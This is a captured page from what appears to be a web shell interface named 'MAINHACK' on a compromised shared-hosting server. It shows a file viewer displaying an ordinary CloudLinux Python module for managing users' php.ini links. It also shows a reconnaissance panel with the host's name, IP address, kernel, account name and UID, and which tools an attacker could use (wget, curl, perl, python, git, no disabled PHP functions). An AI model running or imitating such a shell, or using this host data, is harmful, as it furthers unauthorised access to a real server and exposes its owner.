[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: da.py
File is not writable. Editing disabled.
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import os import pwd import secureio from clcagefslib.const import BASEDIR, ETC_CL_ALT_PATH from clcagefslib.fs import get_user_prefix from clcommon import clcaptain, clcagefs from clcommon.utils import ExternalProgramFailed from cldetectlib import is_da PHP_INI_MASK = '/usr/local/directadmin/data/users/%s/php/php.ini' ALT_PHP_INI_MASK = '/etc/cl.php.d/alt-php%s/alt_php.ini' # Change user php.ini # Call from cl-selector def da_change_user_php_ini(username, version, is_write_log=False): if not is_da(): return link_name = ETC_CL_ALT_PATH + '/' + username + '/php/php.ini' if not clcagefs.in_cagefs(): # userdir = /var/cagefs/[prefix]/[user]/etc prefix = get_user_prefix(username) link_name = BASEDIR + '/' + prefix + '/' + username + link_name # drop permissions if we are running as root uid = None gid = None drop_perm = False # check if we work under the specified user user_data = pwd.getpwnam(username) if os.geteuid() != user_data.pw_uid: uid = user_data.pw_uid gid = user_data.pw_gid drop_perm = True if drop_perm: secureio.set_user_perm(uid, gid) # Create user link/file create_user_php_ini(username, version, link_name, is_write_log) if drop_perm: secureio.set_root_perm() # Create user php.ini link or file dependently of PHP version # Works only under user, not root! def create_user_php_ini(user, php_vers, link_name, is_write_log): if php_vers == 'native': # '/usr/local/directadmin/data/users/%s/php/php.ini' php_ini_path = PHP_INI_MASK % user if os.path.isfile(php_ini_path): # user's php.ini present try: content = secureio.read_file_secure(php_ini_path, None, None, False, is_write_log) except (OSError, IOError): return if os.path.islink(link_name): try: os.unlink(link_name) except OSError: pass try: clcaptain.write(link_name, ''.join(content)) except (OSError, IOError, ExternalProgramFailed) as e: secureio.logging("Error: Failed to write file " + link_name + ": " + str(e), secureio.SILENT_FLAG, 1, is_write_log) else: # user's php.ini absent, delete link to alt php.ini try: os.unlink(link_name) except OSError: pass else: # create symlink to php.ini for alternative php version link_to = ALT_PHP_INI_MASK % php_vers.replace(".", "") # Delete symlink if it points to wrong location, or if it is not symlink (regular file) if not (os.path.islink(link_name) and os.readlink(link_name) == link_to): try: os.unlink(link_name) # delete symlink if previous version differs current except OSError: pass try: clcaptain.symlink(link_to, link_name) except (OSError, ExternalProgramFailed) as e: secureio.logging("Error: Failed to create link " + link_name + ": " + str(e), secureio.SILENT_FLAG, 1, is_write_log)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A